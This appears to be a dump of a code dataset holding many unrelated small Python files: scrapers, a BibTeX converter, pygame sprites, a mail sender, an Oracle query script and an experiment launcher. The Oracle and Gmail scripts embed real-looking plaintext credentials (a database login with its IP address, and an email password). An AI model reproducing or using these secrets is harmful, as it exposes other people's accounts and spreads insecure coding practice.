\t\t\t\t\t\n# Function which populates the first dictionary \ndef populateMainDictionary(file, dict):\n\n\t# Initialize the id to -1\n\tindex = -1\n\n\t\n\t# Open the file to process the contents of the file\n\twith open(file,'r') as f: \n\t\tfor line in f:\n\t\t\t# Process every word in the line\n \t\t\tfor word in line.split():\n \t\t\t\t# Regex to remove any punctuations\n \t\t\t\tcleanString = re.sub('\\W+','', word)\n \t\t\t\tif cleanString not in dict:\n \t\t\t\t\tindex=index+1\n \t\t\t\t\tdict[cleanString]=index\n\n\n# Function which prints the files in which the given word exists\ndef getInvertedIndex(word, dict, dict1):\n\n\t# If the word is present in the main dictionary, then get the value for it and use the value to get the occurences of that word from the second dictionary.\n\tif word in dict:\n\t\tval = dict[word]\n\n\t\tresult = dict1[val]\n\t\tprint(result)\t\n\telse:\n\t\tprint('Given word does not exist!')\n\n\n# Run the program\nmain()\n","sub_path":"assignment2.py","file_name":"assignment2.py","file_ext":"py","file_size_in_byte":2891,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"493258192","text":"import requests\nimport time\nimport requests\n\npage = requests.get(\"http://www.nhm.ac.uk/discover/the-cannibals-of-goughs-cave.html\")\nprint(page.status_code)\n\nsoup = bs(page.content, 'html.parser')\n\nfor i in soup.find_all(\"div\", class_=\"article--container\"):\n i_descendants = i.descendants\n for d in i_descendants:\n if d.name in ['h1', 'h2', 'p']:\n print(d.text)\n\ndef get_tfidf(vect):\n tf = TfidfVectorizer(input='content', analyzer='word', ngram_range=(1, 1),\n min_df=0, stop_words='english', sublinear_tf=True)\n tfidf_matrix = tf.fit_transform(vect)\n print(tfidf_matrix)\n feature_array = tf.get_feature_names()\n\n doc = 2\n feature_index = tfidf_matrix[doc, :].nonzero()[1]\n print(feature_index)\n tfidf_scores = zip(feature_index, [tfidf_matrix[doc, x] for x in feature_index])\n\n for w, s in [(feature_array[i], s) for (i, s) in tfidf_scores]:\n print(w, s)\n","sub_path":"spike/exploratorysoup.py","file_name":"exploratorysoup.py","file_ext":"py","file_size_in_byte":937,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"207820507","text":"# %%\nimport pickle\nfrom pybtex.database import parse_file\nfrom utils import parse_entry\n\n# %%\nBIB_FILE = \"references.bib\"\nbib = parse_file(BIB_FILE, \"bibtex\")\n\nQUEUE_FILE = \"queue.txt\"\ntry:\n with open(QUEUE_FILE, \"rb\") as fp:\n queue = pickle.load(fp)\nexcept FileNotFoundError:\n queue = []\n\n# %%\nwith open(\"README.md\", \"a\") as f:\n for entry in bib.entries.values():\n\n if entry.key not in queue:\n queue.append(entry.key)\n md_str = parse_entry(entry)\n f.write(md_str + \"\\n\" + \"\\n\")\n\n# %%\nwith open(QUEUE_FILE, \"wb\") as fp:\n pickle.dump(queue, fp)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":603,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"160938705","text":"import bs4\r\nimport requests\r\nimport re\r\nimport urllib.request, urllib.error\r\nimport os\r\nimport argparse\r\nimport sys\r\nimport json\r\n\r\n\r\ndef get_soup(url,header):\r\n\treturn bs4.BeautifulSoup(urllib.request.urlopen(urllib.request.Request(url,headers=header)),'html.parser')\r\n\r\ndef main(args):\r\n\tparser = argparse.ArgumentParser(description = 'Options for scraping Google images')\r\n\tparser.add_argument('-s', '--search', type = str, help = 'search term')\r\n\targs = parser.parse_args()\r\n\r\n\tquery = args.search.split()\r\n\tquery = '+'.join(query)\r\n\tmax_images = 100\r\n\r\n\tsave_directory = \"PenguinImages\" + '/' + query\r\n\tsave_directory = urllib.parse.unquote(save_directory)\t#URLのクエリをパース\r\n\tif not os.path.exists(save_directory):\r\n\t\tos.makedirs(save_directory)\r\n\r\n\t# スクレーピング\r\n\turl = \"https://www.google.co.jp/search?q=\" + query + \"&source=lnms&tbm=isch\"\r\n\theader = {'User-Agent':\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36\"}\r\n\tsoup = get_soup(url,header)\r\n\tActualImages = []\r\n\r\n\tfor a in soup.find_all(\"div\", {\"class\":\"rg_meta\"}):\r\n\t\tlink, Type = json.loads(a.text)[\"ou\"] ,json.loads(a.text)[\"ity\"]\r\n\t\tActualImages.append((link,Type))\r\n\tfor i, (img, Type) in enumerate(ActualImages[0:max_images]):\r\n\t\ttry:\r\n\t\t\tType = Type if len(Type) > 0 else 'jpg'\r\n\t\t\tprint(\"Downloading image {} ({}), type is {}\".format(i, img, Type))\r\n\t\t\traw_img = urllib.request.urlopen(img).read()\r\n\t\t\tf = open(os.path.join(save_directory, \"img_\" + str(i) + \".\" + Type), 'wb')\r\n\t\t\tf.write(raw_img)\r\n\t\t\tf.close()\r\n\t\texcept Exception as e:\r\n\t\t\tprint (\"could not load : \" + img)\r\n\t\t\tprint (e)\r\n\r\nif __name__ == '__main__':\r\n\tfrom sys import argv\r\n\ttry:\r\n\t\tmain(argv)\r\n\texcept KeyboardInterrupt:\r\n\t\tpass\r\n\tsys.exit()","sub_path":"image.py","file_name":"image.py","file_ext":"py","file_size_in_byte":1769,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"281428037","text":"import datetime,time\nimport argparse\ninitstr=input(\"input initial text:\")\nparser =argparse.ArgumentParser()\nparser.add_argument(\"first\",help=\"Dispay string which have to changed\",type=str)\nparser.add_argument(\"second\",help=\"Dispay string which have to changed\",type=str)\n\nargument=parser.parse_args()\nfirst_text=argument.first\nsecond_text=argument.second\nprint(\"The given text:\",initstr)\nprint(\"First word:\",first_text)\nprint(\"Second word:\",second_text)\n\nprint(\"output:\",initstr.replace(first_text,second_text))","sub_path":"Lecture2/week2/homework/problem3.py","file_name":"problem3.py","file_ext":"py","file_size_in_byte":515,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"532641234","text":"# uncompyle6 version 3.7.4\n# Python bytecode 2.4 (62061)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: build/bdist.linux-i686/egg/buildutils/test/test_compat.py\n# Compiled at: 2007-08-08 19:57:13\n\"\"\"Unit tests for the buildutils.compat package.\"\"\"\n\ndef test_string_template():\n from buildutils.compat.string_template import Template\n actual = Template('hello ${who}').substitute({'who': 'world'})\n expected = 'hello world'\n assert actual == expected","sub_path":"pycfiles/buildutils-0.3-py2.4/test_compat.py","file_name":"test_compat.py","file_ext":"py","file_size_in_byte":517,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"51909350","text":"import os\nimport cv2\nimport glob\nimport torch\nimport imageio\nimport numpy as np\nimport pandas as pd\nimport seaborn as sn\nimport torch.nn as nn\nimport torch.optim as optim\nimport torch.nn.functional as F\nimport matplotlib.pyplot as plt\nfrom sklearn.metrics import confusion_matrix\nfrom scipy.io import wavfile\nfrom PIL import Image\n\ndef set_lr(optimizer, lrs):\n\tif(len(lrs) == 1):\n\t\tfor param in optimizer.param_groups:\n\t\t\tparam['lr'] = lrs[0]\n\telse:\n\t\tfor i, param in enumerate(optimizer.param_groups):\n\t\t\tparam['lr'] = lrs[i]\n\ndef get_lr(optimizer):\n\toptim_param_groups = optimizer.param_groups\n\tif(len(optim_param_groups) == 1):\n\t\treturn optim_param_groups[0]['lr']\n\telse:\n\t\tlrs = []\n\t\tfor param in optim_param_groups:\n\t\t\tlrs.append(param['lr'])\n\t\treturn lrs\n\ndef histogram_sizes(img_dir, h_lim = None, w_lim = None):\n\ths, ws = [], []\n\tfor file in glob.iglob(os.path.join(img_dir, '**/*.*')):\n\t\ttry:\n\t\t\twith Image.open(file) as im:\n\t\t\t\th, w = im.size\n\t\t\t\ths.append(h)\n\t\t\t\tws.append(w)\n\t\texcept:\n\t\t\tprint('Not an Image file')\n\n\tif(h_lim is not None and w_lim is not None):\n\t\ths = [h for h in hs if h5)\nnum=14\nprint(Solution().isUgly(num))\n","sub_path":"UglyNumber.py","file_name":"UglyNumber.py","file_ext":"py","file_size_in_byte":347,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"455663416","text":"import pygame\nfrom settings import *\n\n\n# Основной класс блока\nclass Block(pygame.sprite.Sprite):\n def __init__(self, x = 0, y = 0):\n pygame.sprite.Sprite.__init__(self)\n \n self.image = pygame.Surface([BLOCK_WIDTH, BLOCK_HEIGHT])\n \n # Заполнение блока\n self.image.fill(BLACK)\n \n # Координаты блока\n self.rect = self.image.get_rect()\n self.rect.x = x\n self.rect.y = y \n \n # Тип блока\n self.blockType = \"MainBlock\" # Название блока\n self.pervious = False # Проницаемость блока\n\n\n\nclass Bonus(Block):\n def __init__(self, x = 0, y = 0):\n Block.__init__(self, x, y)\n \n self.image.fill(ORANGE)\n \n self.blockType = \"BonusSpeed\" # Название блока\n self.pervious = True # Проницаемость блока \n \n \nclass BulletSpeed(Block):\n def __init__(self, x = 0, y = 0):\n Block.__init__(self, x, y)\n \n self.image.fill(GREEN)\n \n self.blockType = \"BulletsSpeed\" # Название блока\n self.pervious = True # Проницаемость блока \n \nclass BulletFreq(Block):\n def __init__(self, x = 0, y = 0):\n Block.__init__(self, x, y)\n \n self.image.fill(PURPLE)\n \n self.blockType = \"BulletsFreq\" # Название блока\n self.pervious = True # Проницаемость блока ","sub_path":"block.py","file_name":"block.py","file_ext":"py","file_size_in_byte":1609,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"437923956","text":"from JumpScale import j\n\nOsisBaseObject=j.core.osis.getOsisBaseObjectClass()\n\nclass Grid(OsisBaseObject):\n\n \"\"\"\n identifies the grid\n \"\"\"\n\n def __init__(self, ddict={}, name=\"\", id=0, useavahi=1):\n if ddict != {}:\n self.load(ddict)\n else:\n self.name = name\n self.useavahi = useavahi\n self.nid=0\n self.id=id\n self.guid=id \n\n def initFromLocalNodeInfo(self):\n \"\"\"\n get ipaddr info & gid & nid from local config\n \"\"\"\n self.ipaddr=[item for item in j.system.net.getIpAddresses() if item !=\"127.0.0.1\"]\n self.id= j.application.config.getInt(\"gridmaster.grid.id\")\n\n if not j.application.config.exists(\"grid.node.id\"):\n #register the own masternode to the grid\n ays = j.atyourservice.get(\"jumpscale\", \"grid_node\")\n ays.configure()\n if j.application.config.getInt(\"grid.node.id\")==0:\n raise RuntimeError(\"grid nid cannot be 0\")\n\n self.nid=j.application.config.getInt(\"grid.node.id\")\n\n def getUniqueKey(self):\n \"\"\"\n return unique key for object, is used to define unique id\n \"\"\"\n return self.id\n\n def getSetGuid(self):\n \"\"\"\n use osis to define & set unique guid (sometimes also id)\n \"\"\"\n self.guid = int(self.id)\n self.id = int(self.id)\n return self.guid\n\n","sub_path":"apps/osis/logic/system/grid/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":1437,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"213601188","text":"tablica = [\"x\"] * 100\nodpowiedzi = []\nfor i in range(1,101):\n for j in range(i,101,i):\n if tablica[j-1] == \"x\":\n tablica[j-1] = \"o\"\n else:\n tablica[j-1] = \"x\"\n\nfor index, wartosc in enumerate(tablica):\n if wartosc == \"o\":\n odpowiedzi.append(index+1)\nprint (\"Following doors are open: \"+str(odpowiedzi).strip('[]'))\n","sub_path":"doors.py","file_name":"doors.py","file_ext":"py","file_size_in_byte":364,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"643390562","text":"'''\nGiven a string S and a string T, find the minimum window in S which will contain all the characters in T in complexity O(n).\n\nFor example,\nS = \"ADOBECODEBANC\"\nT = \"ABC\"\nMinimum window is \"BANC\".\n\nNote:\nIf there is no such window in S that covers all characters in T, return the empty string \"\".\n\nIf there are multiple such windows, you are guaranteed that there will always be only one unique minimum window in S.\n'''\n\nclass Solution(object):\n def minWindow(self, s, t):\n \"\"\"\n :type s: str\n :type t: str\n :rtype: str\n \"\"\"\n M = len(s)\n N = len(t)\n if M < N:\n return \"\"\n res = '0' * (M + 1)\n tdic = {}\n for x in t:\n if x in tdic:\n tdic[x] += 1\n else:\n tdic[x] = 1\n for i in range(N):\n if s[i] in tdic:\n tdic[s[i]] -= 1\n idx1 = 0\n idx2 = N\n while idx2 - idx1 >= N and idx2 <= M:\n if self.satisfied(tdic):\n res = res if len(res) <= idx2 - idx1 else s[idx1:idx2]\n if s[idx1] in tdic:\n tdic[s[idx1]] += 1\n idx1 += 1\n continue\n if idx2 < M:\n if s[idx2] in tdic:\n tdic[s[idx2]] -= 1\n idx2 += 1\n if len(res) > M:\n return \"\"\n return res\n\n def satisfied(self, tdic):\n for k, v in tdic.items():\n if v > 0:\n return False\n return True\n\ns = Solution()\nres = s.minWindow(\"ADOBECODEBANC\", \"ABC\")\nprint(res)\n\n'''\n滑动窗口法\n'''","sub_path":"array_list/minimum_window_substring.py","file_name":"minimum_window_substring.py","file_ext":"py","file_size_in_byte":1629,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"373235201","text":"\"\"\"\nAR_SelectSameColor\n\nAuthor: Arttu Rautio (aturtur)\nWebsite: http://aturtur.com/\nName-US: AR_SelectSameColor\nVersion: 1.0.1\nDescription-US: Selects object(s) with same object color that active object has\n\nWritten for Maxon Cinema 4D R25.010\nPython version 3.9.1\n\nChange log:\n1.0.1 (18.08.2022) - R25 support\n\"\"\"\n# Libraries\nimport c4d\n\n# Functions\ndef GetNextObject(op):\n if op==None:\n return None\n if op.GetDown():\n return op.GetDown()\n while not op.GetNext() and op.GetUp():\n op = op.GetUp()\n return op.GetNext()\n \ndef IterateHierarchy(op, color):\n doc = c4d.documents.GetActiveDocument() # Get active Cinema 4D document\n if op is None:\n return\n while op:\n if op[c4d.ID_BASEOBJECT_COLOR] == color: # If object color is same as reference color\n op.SetBit(c4d.BIT_ACTIVE) # Select object\n doc.AddUndo(c4d.UNDOTYPE_CHANGE, op) # Add undo command for selecting object\n op = GetNextObject(op) # Get next object\n return True\n\ndef main():\n doc = c4d.documents.GetActiveDocument() # Get active Cinema 4D document\n doc.StartUndo() # Start recording undos\n try: # Try to execute following script\n active_object = doc.GetActiveObject() # Get active object\n reference_color = active_object[c4d.ID_BASEOBJECT_COLOR] # Object color\n start_object = doc.GetFirstObject() # Get first object\n IterateHierarchy(start_object, reference_color) # Do the thing\n except: # If something went wrong\n pass # Do nothing\n doc.EndUndo() # Stop recording undos\n c4d.EventAdd() # Refresh Cinema 4D\n \n# Execute main()\nif __name__=='__main__':\n main()","sub_path":"AR_Scripts_1.74/Object Manager/AR_SelectSameColor.py","file_name":"AR_SelectSameColor.py","file_ext":"py","file_size_in_byte":1667,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"130845642","text":"# Exercício Python 096: Faça um programa que tenha uma função chamada área(), que receba as dimensões \n# de um terreno retangular (largura e comprimento) e mostre a área do terreno.\n# https://youtu.be/oV1s53YGtvE\n\n\nprint(f'{\"PARÂMETROS TERRENOS\":^30}')\nprint('-'*30)\n\ndef area(larg, comp):\n a = larg * comp\n print(f'A ÁREA DO TERRENO É DE {larg} x {comp}: {a:.1f} M²')\n\n\narea(float(input('LARGURA: ')),\n float(input('COMPRIMENTO: '))\n )\n","sub_path":"EXERCICIOS/#096 - Função que calcula área.py","file_name":"#096 - Função que calcula área.py","file_ext":"py","file_size_in_byte":462,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"319205542","text":"n = int(input())\nc0 = 0\nc1 = 0\nc2 = 0\nc3 = 0\nfor i in range(n):\n s = input()\n if s == \"AC\":\n c0 += 1\n elif s == \"WA\":\n c1 += 1\n elif s == \"TLE\":\n c2 += 1\n elif s == \"RE\":\n c3 += 1\n else:\n exit()\n\nprint(f\"AC x {c0}\")\nprint(f\"WA x {c1}\")\nprint(f\"TLE x {c2}\")\nprint(f\"RE x {c3}\")\n","sub_path":"Python_codes/p02613/s065802632.py","file_name":"s065802632.py","file_ext":"py","file_size_in_byte":330,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"378199155","text":"#!/usr/bin/env python\n\nimport cx_Oracle\n\ntnsname = cx_Oracle.makedsn('10.65.10.247', '61521', 'test1')\nconn = cx_Oracle.connect('chbase', 'Lnyd*132', tnsname)\nc = conn.cursor()\n\n\nresult = c.executemany('select * from chbase.bs_static_data')\n\nprint(result)\n\n# 关闭游标\nc.close()\n# 关闭DB连接\nconn.close()\n","sub_path":"src/com/dao/DaoBsStaticData.py","file_name":"DaoBsStaticData.py","file_ext":"py","file_size_in_byte":312,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"545041319","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n__author__ = 'Sasha'\n\nfrom lxml import etree\n\nclass Container:\n\n def make_data(self,list,stype):\n\n Mainroot = etree.Element('datalist')\n\n for element in list:\n\n root = etree.Element('data')\n type = etree.SubElement(root,'type')\n type.text = stype\n plannumber = etree.SubElement(root,'plannumber')\n #Номер плана граффика\n\n plannumber.text = element.get('PlanNumber')\n\n listElement = etree.Element('list')\n #Перебор данных заявки\n for i in element.get('Data'):\n if i.get('Lable')=='' or i.get('Value')=='':\n continue\n line = etree.Element('line')\n etree.SubElement(line,'Lable').text = i.get('Lable')\n datatype = i.get('Type')\n etree.SubElement(line,'Type').text = datatype\n\n if datatype == 'table':\n self.makeTableData(line,i.get('Value'))\n else:\n etree.SubElement(line,'Value').text = i.get('Value')\n\n\n listElement.append(line)\n\n root.append(listElement)\n Mainroot.append(root)\n\n handle = etree.tostring(Mainroot, pretty_print=True, encoding='utf-8', xml_declaration=True)\n\n f = open('data.txt', 'w')\n f.write(handle)\n return handle\n\n def makeTableData(self,line,data):\n\n Value = etree.SubElement(line,'Value')\n for dataline in data:\n newline = etree.Element('line')\n etree.SubElement(newline,'Lable').text = dataline.get('Lable')\n if type(dataline.get('Value')) == type([]):\n self.makeTableData(newline,dataline.get('Value'))\n else:\n etree.SubElement(newline,'Value').text = dataline.get('Value')\n Value.append(newline)\n","sub_path":"container.py","file_name":"container.py","file_ext":"py","file_size_in_byte":1989,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"44473601","text":"from Internet import GoodsList\nfrom Internet import EntpList\nfrom Internet import checkDoc\nhost = \"smtp.gmail.com\" # Gmail STMP 서버 주소.\nport = \"587\"\n\ndef MakeHtmlDoc():\n print(\"리스트를 받아옵니다\")\n from xml.dom.minidom import getDOMImplementation\n # DOM 개체를 생성합니다.\n impl = getDOMImplementation()\n \n newdoc = impl.createDocument(None, \"html\", None) # HTML 최상위 엘리먼트를 생성합니다.\n top_element = newdoc.documentElement\n header = newdoc.createElement('header')\n top_element.appendChild(header)\n\n # Body 엘리먼트 생성\n body = newdoc.createElement('body')\n\n for item in GoodsList:\n # Bold 엘리먼트를 생성합니다.\n b = newdoc.createElement('b')\n # 텍스트 노드를 만듭니다.\n ibsnText = newdoc.createTextNode(\"goodName:\" + item)\n b.appendChild(ibsnText)\n\n body.appendChild(b)\n \n #
부분을 생성합니다.\n br = newdoc.createElement('br')\n\n body.appendChild(br)\n\n # title 부분을 생성합니다.\n #p = newdoc.createElement('p')\n # 텍스트 노드를 만듭니다.\n #titleText= newdoc.createTextNode(\"Good:\" + item[1])\n #p.appendChild(titleText)\n\n #body.appendChild(p)\n #body.appendChild(br) #
부분을 부모 에릴먼트에 추가합니다.\n \n # Body 엘리먼트를 최상위 엘리먼트에 추가시킵니다.\n top_element.appendChild(body)\n \n return newdoc.toxml()\n \ndef MakeHtmlDoc2():\n print(\"리스트를 받아옵니다\")\n from xml.dom.minidom import getDOMImplementation\n # DOM 개체를 생성합니다.\n impl = getDOMImplementation()\n \n newdoc = impl.createDocument(None, \"html\", None) # HTML 최상위 엘리먼트를 생성합니다.\n top_element = newdoc.documentElement\n header = newdoc.createElement('header')\n top_element.appendChild(header)\n\n # Body 엘리먼트 생성\n body = newdoc.createElement('body')\n\n for item in EntpList:\n # Bold 엘리먼트를 생성합니다.\n b = newdoc.createElement('b')\n # 텍스트 노드를 만듭니다.\n ibsnText = newdoc.createTextNode(\"entpName:\" + item)\n b.appendChild(ibsnText)\n\n body.appendChild(b)\n \n #
부분을 생성합니다.\n br = newdoc.createElement('br')\n\n body.appendChild(br)\n\n # title 부분을 생성합니다.\n #p = newdoc.createElement('p')\n # 텍스트 노드를 만듭니다.\n #titleText= newdoc.createTextNode(\"Good:\" + item[1])\n #p.appendChild(titleText)\n\n #body.appendChild(p)\n #body.appendChild(br) #
부분을 부모 에릴먼트에 추가합니다.\n \n # Body 엘리먼트를 최상위 엘리먼트에 추가시킵니다.\n top_element.appendChild(body)\n \n return newdoc.toxml()\n\ndef sendMail():\n if not checkDoc():\n return None\n \n global host, port\n html = \"\"\n html2 = \"\"\n title = \"생필품 가격 조회 서비스\"\n \n senderAddr = \"kjw955486@gmail.com\" \n recipientAddr = \"kjw8576@naver.com\" #str(input ('recipient email address :'))\n #msgtext = str(input ('write message :'))\n # passwd = \"wlsdn9450\"\n cmd = input(\"상품명을 전송하려면 a를, 업체명을 전송하려면 b를 누르세요 : \")\n \n if cmd == 'a':\n html = MakeHtmlDoc()\n else:\n html2 = MakeHtmlDoc2()\n \n import mysmtplib\n # MIMEMultipart의 MIME을 생성합니다.\n from email.mime.multipart import MIMEMultipart\n from email.mime.text import MIMEText\n \n #Message container를 생성합니다.\n msg = MIMEMultipart('alternative')\n\n #set message\n msg['Subject'] = title\n msg['From'] = senderAddr\n msg['To'] = recipientAddr\n \n \n \n #msgPart = MIMEText(msgtext, 'plain')\n if cmd == 'a':\n bookPart = MIMEText(html, 'html', _charset = 'UTF-8')\n else:\n bookPart2 = MIMEText(html2, 'html', _charset = 'UTF-8')\n \n # 메세지에 생성한 MIME 문서를 첨부합니다.\n \n #msg.attach(msgPart)\n if cmd == 'a':\n msg.attach(bookPart)\n else:\n msg.attach(bookPart2)\n \n print (\"connect smtp server ... \")\n s = mysmtplib.MySMTP(host,port)\n #s.set_debuglevel(1)\n s.ehlo()\n s.starttls()\n s.ehlo()\n s.login(\"kjw955486@gmail.com\", \"wlsdn9450\") # 로긴을 합니다. \n s.sendmail(senderAddr , [recipientAddr], msg.as_string())\n s.close()\n \n print (\"Mail sending complete!!!\")","sub_path":"code/dist/PriceInfo-1.0/Gmail.py","file_name":"Gmail.py","file_ext":"py","file_size_in_byte":4565,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"275184014","text":"def binario_decimal(binario):\n b=list(binario)\n b.reverse()\n resultado=0\n n=0\n for i in b:\n resultado+=int(i)*(2**n)\n n+=1\n return resultado\n\n\n\ndef decodificar(mensaje):\n b=mensaje.split(\",\")\n final=''\n for i in b:\n final+=chr(binario_decimal(i))\n return final\n\nprint(decodificar('01101000,01101111,01101100,01100001'))\n","sub_path":"tema9_ej3/tema9_ej3_15638162.py","file_name":"tema9_ej3_15638162.py","file_ext":"py","file_size_in_byte":371,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"175236889","text":"\"\"\" launch_experiments.py.\n\n Code to train other models from config files\n\n Inspired by Onconet with original source:\n https://github.com/yala/OncoNet_Public/blob/master/scripts/dispatcher.py\n\n Usage:\n python scripts/launch_experiments.py --python-file-name training/train_model.py --experiment-config-file static/train_config.py --log-dir results/test/\n python scripts/launch_experiments.py --python-file-name training/train_model.py --experiment-config-file static/train_config.py --log-dir results/test/ --sbatch-script scripts/slurm_scripts/slurm_train_fastas.sh\n\"\"\"\nimport sys\nimport os\nimport argparse\nimport json\nimport multiprocessing\nimport subprocess\nfrom typing import Tuple\nfrom enzpred.utils import launcher_utils\n\n# Constants\nRESULTS_PATH_APPEAR_ERR = \"save_dir should not appear in config. It will be determined automatically per job\"\n\n\ndef get_args():\n \"\"\" Get arguments \"\"\"\n options = argparse.ArgumentParser()\n # Name of python file to run\n options.add_argument('--python-file-name',\n action=\"store\",\n help=\"Name of python script to run!\")\n options.add_argument('--experiment-config-file',\n action=\"store\",\n help=\"Json config file\")\n options.add_argument('--log-dir',\n action=\"store\",\n help=\"Where to store results\")\n options.add_argument(\"--sbatch-script\",\n action=\"store\",\n default=None,\n help=\"Path to the sbatch script to launch programs\")\n options.add_argument(\"--use-gpu\",\n action=\"store\",\n default=None,\n help=\"Use this flag if launching on gpu\")\n\n return options.parse_args()\n\n\n## Multiprocessing\n\n\ndef launch_experiment(log_dir: str, python_file_name: str, gpu: int,\n flag_string: str) -> Tuple[str, str]:\n \"\"\"launch_experiments.\n\n Launch an experiment and direct logs and results to a unique filepath.\n Alert of something goes wrong.\n\n Args:\n log_dir (str): Directory for the log of the results\n python_file_name (str): Name of the python file passed\n gpu (int): gpu to run this machine on.\n flag_string (str): flags to use for this model run. Will be fed into\n scripts/main.py\n\n Returns:\n Tuple[str,str]: results_path, log_path\n\n \"\"\"\n if not os.path.isdir(log_dir):\n os.makedirs(log_dir)\n\n log_name = launcher_utils.md5(flag_string)\n log_stem = log_name\n\n results_path = os.path.join(log_dir, \"{}\".format(log_stem))\n log_path = os.path.join(log_dir, \"{}.txt\".format(log_stem))\n\n if gpu:\n experiment_string = \"CUDA_VISIBLE_DEVICES={} python -u {} {} --out {}\".format(\n gpu, python_file_name, flag_string,\n os.path.join(results_path, \"out\"))\n else:\n experiment_string = \"python -u {} {} --out {}\".format(\n python_file_name, flag_string, os.path.join(results_path, \"out\"))\n\n # Redirect both stdout and output to a file for now\n shell_cmd = \"{} > {} 2>&1\".format(experiment_string, log_path)\n\n if not os.path.exists(results_path):\n print(\"Launched exp: {}\".format(shell_cmd))\n os.makedirs(results_path)\n subprocess.call(shell_cmd, shell=True)\n else:\n print(\"ERROR LAUNCHING; dir {} exists\".format(results_path))\n\n return results_path, log_path\n\n\ndef worker(log_dir: str, python_file_name: str, gpu: int,\n job_queue: multiprocessing.Queue, done_queue: multiprocessing.Queue):\n \"\"\"worker.\n\n Worker thread for each gpu. Consumes all jobs and pushes results to done_queue.\n\n Args:\n log_dir (str): Directory for the log of the results\n python_file_name (str): Name of the python file passed\n gpu (int): Gpu this worker can access\n job_queue (multiprocessing.Queue): Queue of available jobs\n done_queue (multiprocessing.Queue): Queue where to push resulst\n \"\"\"\n while not job_queue.empty():\n params = job_queue.get()\n if params is None:\n return\n done_queue.put(launch_experiment(log_dir, python_file_name, gpu, params))\n\n\ndef multiprocessing_launch(log_dir: str, python_file_name: str,\n experiment_config_file: str, use_gpu: bool,\n **kwargs):\n \"\"\"multiprocessing_launch.\n\n Use this to launch jobs on multiprocessing\n\n Args:\n log_dir (str): log_dir\n python_file_name (str): python_file_name\n experiment_config_file (str): experiment_config_file\n use_gpu (bool): use_gpu\n kwargs: Absorb slurm script arg\n \"\"\"\n\n experiment_config = json.load(open(experiment_config_file, 'r'))\n\n if 'save_dir' in experiment_config['search_space']:\n print(RESULTS_PATH_APPEAR_ERR)\n sys.exit(1)\n\n job_list, experiment_axes = launcher_utils.parse_dispatcher_config(\n experiment_config)\n\n # For multiprocessing:\n job_queue = multiprocessing.Queue()\n done_queue = multiprocessing.Queue()\n\n # Add jobs to the queue\n for job in job_list:\n job_queue.put(job)\n\n if use_gpu:\n print(\"Launching Dispatcher with {} jobs!\".format(len(job_list)))\n for gpu in experiment_config['available_gpus']:\n print(\"Start gpu worker {}\".format(gpu))\n multiprocessing.Process(target=worker,\n args=(log_dir, python_file_name, gpu, job_queue,\n done_queue)).start()\n\n else:\n print(\"Launching Dispatcher with {} jobs!\".format(len(job_list)))\n multiprocessing.Process(target=worker,\n args=(log_dir, python_file_name, None, job_queue,\n done_queue)).start()\n\n\n## Slurm\ndef slurm_launch(log_dir: str, python_file_name: str, experiment_config_file: str,\n use_gpu: bool, sbatch_script: str, **kwargs):\n \"\"\"slurm_launch.\n\n Use this to launch on slurm\n\n Args:\n log_dir (str): log_dir\n python_file_name (str): python_file_name\n experiment_config_file (str): experiment_config_file\n use_gpu (bool): use_gpu\n sbatch_script (str): sbatch_script\n kwargs: kwargs\n \"\"\"\n\n experiment_config = json.load(open(experiment_config_file, 'r'))\n if 'save_dir' in experiment_config['search_space']:\n print(RESULTS_PATH_APPEAR_ERR)\n sys.exit(1)\n\n job_list, experiment_axies = launcher_utils.parse_dispatcher_config(\n experiment_config)\n\n for flag_string in job_list:\n if not os.path.isdir(log_dir):\n os.makedirs(log_dir)\n\n log_stem = launcher_utils.md5(flag_string)\n results_path = os.path.join(log_dir, \"{}\".format(log_stem))\n\n # Useful for slurm?\n log_path = os.path.join(log_dir, \"{}.txt\".format(log_stem))\n shell_cmd = \"python -u {} {} --out {}\".format(\n python_file_name, flag_string, os.path.join(results_path, \"out\"))\n\n # Run in sbatch\n if sbatch_script is not None:\n shell_cmd = (\"sbatch --export=CMD=\\\"{}\\\" {}\".format(\n shell_cmd, sbatch_script))\n\n if not os.path.exists(results_path):\n os.makedirs(results_path)\n\n subprocess.call(shell_cmd, shell=True)\n else:\n raise Exception(\n \"Path to this results file {} already exists\".format(\n results_path))\n\n print(\"Launched exp: {}\\n\".format(shell_cmd))\n\n\nif __name__ == \"__main__\":\n args = 